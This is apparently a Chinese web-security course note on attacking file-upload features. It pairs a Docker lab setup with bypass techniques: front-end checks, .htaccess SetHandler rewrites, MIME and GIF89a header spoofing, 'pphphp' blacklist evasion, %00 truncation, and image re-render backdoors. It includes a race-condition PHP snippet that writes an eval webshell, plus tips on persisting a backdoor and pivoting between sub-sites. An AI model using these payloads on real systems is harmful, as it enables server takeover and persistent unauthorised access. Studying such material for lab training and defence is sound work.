知识点:
1、WEB攻防-文件上传-前端&黑白名单&MIME&文件头等
2、WEB攻防-文件上传-执行权限&解码还原&云存储&分站等
3、WEB攻防-文件上传-JS提取&特定漏洞&第三方编辑器
4、WEB攻防-文件上传-思维导图形成
常规文件上传:
1、一定要明白:
文件解析安全问题上,格式解析是一对一的(不能jpg解析php)
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!1、无限制
任意上传,什么文件都能上传2、有限制:
限制后缀格式(判断后缀名(黑白名单),MIME类型,文件头等)应用场景:
1、注册用户上传地方
2、后台或其他管理页面
3、源码泄露或盲测文件
4、JS或API接口的代码
5、第三方编辑器上传漏洞
6、特定的源码审计漏洞
一、演示案例-WEB攻防-文件上传-前端&黑白名单&MIME&文件头等
0、测试环境安装参考
字典:https://github.com/fuzzdb-project/fuzzdb
靶场环境:https://github.com/sqlsec/upload-labs-docker
docker
安装
下载靶场项目并进入项目文件夹
cd upload-labs-docker
一键部署运行
docker-compose up -d
1、前端JS
如何判断是否是前端验证呢?
首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了
如何绕过?
先上传一个图片后缀抓包改成脚本后缀
2、.htaccess(apache独有的配置文件)
一般上传用的不多,主要用来留后门
apache
中,.htaccess
文件可以上传并执行
这个文件定义了哪些格式文件可以以脚本方式解析
方式一:
在.htaccess
中写入:
<FilesMatch "s.jpg">SetHandler application/x-httpd-php
</FilesMatch>
然后再上传shell.jpg
的木马, 这样shell.jpg
就可解析为php
文件
最好拿到shell
之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了
方式二:
AddType application/x-httpd-php .png
当.htaccess
文件成功上传后,这时候再上传一个png
图片的后门,就可以解析成脚本
3、MIME类型
Content-Type:image/png
4、文件头判断
GIF89a
5、黑名单-过滤不严
无递归(只检测一次,没循环)
pphphp(因为代码中是把匹配到的黑名单替换为空)
6、黑名单-过滤不严(windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写)
系统大小写敏感属性
7、PHP低版本GET-%00截断
自动解码一次
/var/www/html/upload/x.php%00
8、PHP低版本POST-%00截断
手工解码一次
../upload/x.php%00 二次解码
9、黑名单-过滤不严
php3
利用fuzz
思路去跑后缀
10、逻辑不严-条件竞争
1.上传不断发包
2.请求不断发包
3.访问创建脚本代码
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
11、二次渲染
后端语言会对图片进行二次渲染,让图片更好的呈现出来,但是这样就会造成一个图片里插入的脚本代码丢失的情况,但是需要配合文件包含漏洞,没啥意义。
1.先搞个正常图片,上传图片后导出渲染后的图片
2.对比保留部分,在保留部分添加后门代码
3.最后利用提示的文件包含执行图片后门代码
12、函数缺陷
1.使用move_uploaded_file 函数
2.保存的文件名可控
1.php/.
二、演示案例-WEB攻防-文件上传-应用场景-JS提取&源码类&编辑器
1、JS或API接口代码
DEMO
真实案例
2、第三方编辑器上传漏洞
ueditor漏洞参考:
https://www.cnblogs.com/linglinglingling/p/18040866
https://blog.csdn.net/weixin_58099903/article/details/125810825
DEMO
真实案例
3、特定的源码漏洞
三、演示案例-WEB攻防-文件上传-实战遇到的情况-执行权限&解码还原&分站存储&OSS存储
1、执行权限
文件上传后存储目录不给执行权限
绕过条件:能控制上传文件存储目录
2、解码还原
文件上传后利用编码传输解码还原
绕过:无法直接绕过
3、分站存储
upload.xiaodi8.com 上传
images.xiaodi8.com 存储
绕过:迂回战术,上传脚本到images.xiaodi8.com并控制这个网站,在从images.xiaodi8.com迂回到upload.xiaodi8.com(也就是类似旁站、C段入侵)
4、OSS对象
Access控制-OSS对象存储-Bucket对象